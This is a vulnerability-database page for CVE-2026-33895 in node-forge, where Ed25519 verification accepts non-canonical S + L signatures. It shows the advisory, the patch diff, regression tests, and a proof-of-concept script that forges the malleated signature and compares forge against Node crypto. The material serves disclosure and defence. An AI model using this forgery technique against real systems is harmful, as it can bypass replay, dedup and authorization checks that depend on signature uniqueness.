CVE-2026-33895
Description
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
node-forgenpm | < 1.4.0 | 1.4.0 |
Affected products
1Patches
1bdecf11571c9Add canonical signature scaler check for S < L.
4 files changed · +171 −0
CHANGELOG.md+15 −0 modified@@ -27,6 +27,20 @@ Forge ChangeLog - Austin Chu, Sohee Kim, and Corban Villa. - CVE ID: [CVE-2026-33894](https://www.cve.org/CVERecord?id=CVE-2026-33894) - GHSA ID: [GHSA-ppp5-5v6c-4jwp](https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp) +- **HIGH**: Signature forgery in Ed25519 due to missing S < L check. + - Ed25519 signature verification accepts forged non-canonical signatures + where the scalar S is not reduced modulo the group order (S >= L). A valid + signature and its S + L variant both verify in forge, while Node.js + crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the + specification. This class of signature malleability has been exploited in + practice to bypass authentication and authorization logic (see + CVE-2026-25793, CVE-2022-35961). Applications relying on signature + uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object + canonicalization checks) may be bypassed. + - Reported as part of a U.C. Berkeley security research project by: + - Austin Chu, Sohee Kim, and Corban Villa. + - CVE ID: [CVE-2026-33895](https://www.cve.org/CVERecord?id=CVE-2026-33895) + - GHSA ID: [GHSA-q67f-28xg-22rw](https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw) ### Changed - [jsbn] Update to `jsbn` 1.4. Sync partly back to original style for easier @@ -41,6 +55,7 @@ Forge ChangeLog - [rsa] Fix padding length check according to RFC 2313 8.1 note 6. Padding is required to be eight octets for block types 1 and 2. - [rsa] Fix RFC 8017 DigestInfo parsing to require a sequence length of two. +- [ed25519] Add canonical signature scaler check for S < L. ## 1.3.3 - 2025-12-02
lib/ed25519.js+19 −0 modified@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) { return -1; } + if(!_isCanonicalSignatureScalar(sm, 32)) { + return -1; + } + for(i = 0; i < n; ++i) { m[i] = sm[i]; } @@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) { return mlen; } +function _isCanonicalSignatureScalar(bytes, offset) { + var i; + // Compare little-endian scalar S against group order L and require S < L. + for(i = 31; i >= 0; --i) { + if(bytes[offset + i] < L[i]) { + return true; + } + if(bytes[offset + i] > L[i]) { + return false; + } + } + // S == L is non-canonical. + return false; +} + function modL(r, x) { var carry, i, j, k; for(i = 63; i >= 32; --i) {
tests/pocs/ghsa-q67f-28xg-22rw.js+103 −0 added@@ -0,0 +1,103 @@ +#!/usr/bin/env node +'use strict'; + +// Security Advisory PoC +// +// https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw +// +// This vulnerability was discovered as part of a U.C. Berkeley security +// research project by: Austin Chu, Sohee Kim, and Corban Villa. +// +// Test vectors from this code were added in the ed25519 unit tests. + +const path = require('path'); +const crypto = require('crypto'); +const forge = require('../../lib/index'); +const ed = forge.ed25519; + +const MESSAGE = Buffer.from('dderpym is the coolest man alive!'); + +// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032). +const ED25519_ORDER_L = Buffer.from([ + 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, + 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, +]); + +// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature. +// This returns a new signature with s := s + L (mod 2^256), plus the carry. +function addLToS(signature) { + if (!Buffer.isBuffer(signature) || signature.length !== 64) { + throw new Error('signature must be a 64-byte Buffer'); + } + const out = Buffer.from(signature); + let carry = 0; + for (let i = 0; i < 32; i++) { + const idx = 32 + i; // s starts at byte 32 in the 64-byte signature. + const sum = out[idx] + ED25519_ORDER_L[i] + carry; + out[idx] = sum & 0xff; + carry = sum >> 8; + } + return { sig: out, carry }; +} + +function toSpkiPem(publicKeyBytes) { + if (publicKeyBytes.length !== 32) { + throw new Error('publicKeyBytes must be 32 bytes'); + } + // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM. + const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]); + const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]); + const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]); + const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]); + const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n'); + return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`; +} + +function verifyWithCrypto(publicKey, message, signature) { + try { + const keyObject = crypto.createPublicKey(toSpkiPem(publicKey)); + const ok = crypto.verify(null, message, keyObject, signature); + return { ok }; + } catch (error) { + return { ok: false, error: error.message }; + } +} + +function toResult(label, original, tweaked) { + return { + [label]: { + original_valid: original.ok, + tweaked_valid: tweaked.ok, + }, + }; +} + +function main() { + const kp = ed.generateKeyPair(); + const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey }); + const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey }); + const tweaked = addLToS(sig); + const okTweaked = ed.verify({ + message: MESSAGE, + signature: tweaked.sig, + publicKey: kp.publicKey, + }); + const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig); + const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig); + const result = { + ...toResult('forge', { ok }, { ok: okTweaked }), + ...toResult('crypto', cryptoOriginal, cryptoTweaked), + }; + console.log(JSON.stringify(result, null, 2)); + // enable for debugging on to make test vectors + //console.log({ + // message: MESSAGE.toString('hex'), + // sig: sig.toString('hex'), + // sigSplusL: tweaked.sig.toString('hex'), + // pk: kp.publicKey.toString('hex') + //}); +} + +main();
tests/unit/ed25519.js+34 −0 modified@@ -345,6 +345,40 @@ var UTIL = require('../../lib/util'); ASSERT.equal(hex(signature), expectedSignature); ASSERT.equal(verified, true); }); + + describe('GHSA-q67f-28xg-22rw S < L check', function() { + var message = UTIL.hexToBytes( + '6464657270796d2069732074686520636f6f6c657374206d616e20616c69766521'); + var signature = UTIL.hexToBytes( + 'eb14f31c1cd92e7ef8a11f314a3836f0668b488e2bc2f179bf69d607d0648ce4' + + '4510c797bb7ee0bf2c3b29a105f238113d40bf5cbc9a06d2d63be61bae486707'); + // tweaked signature with S+L + var splusl = UTIL.hexToBytes( + 'eb14f31c1cd92e7ef8a11f314a3836f0668b488e2bc2f179bf69d607d0648ce4' + + '32e4bcf4d5e1f21703d82044e4eb17263d40bf5cbc9a06d2d63be61bae486717'); + var publicKey = UTIL.hexToBytes( + 'ba2a71c1cb8ddaf184d215e0d52c7c82fd37ac52c571fc459ab8f6d034f4e3c7'); + + it('should verify good signature', function() { + var verified = ED25519.verify({ + message: message, + encoding: 'utf8', + signature: signature, + publicKey: publicKey + }); + ASSERT.equal(verified, true); + }); + + it('should not verify S+L signature', function() { + var verified = ED25519.verify({ + message: message, + encoding: 'utf8', + signature: splusl, + publicKey: publicKey + }); + ASSERT.equal(verified, false); + }); + }); }); function eb64(buffer) {
Vulnerability mechanics
Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
7- github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85nvdPatchWEB
- datatracker.ietf.org/doc/html/rfc8032nvdThird Party AdvisoryWEB
- github.com/advisories/GHSA-q67f-28xg-22rwghsaADVISORY
- github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rwnvdVendor AdvisoryWEB
- nvd.nist.gov/vuln/detail/CVE-2022-35961ghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2026-25793ghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2026-33895ghsaADVISORY
News mentions
0No linked articles in our index yet.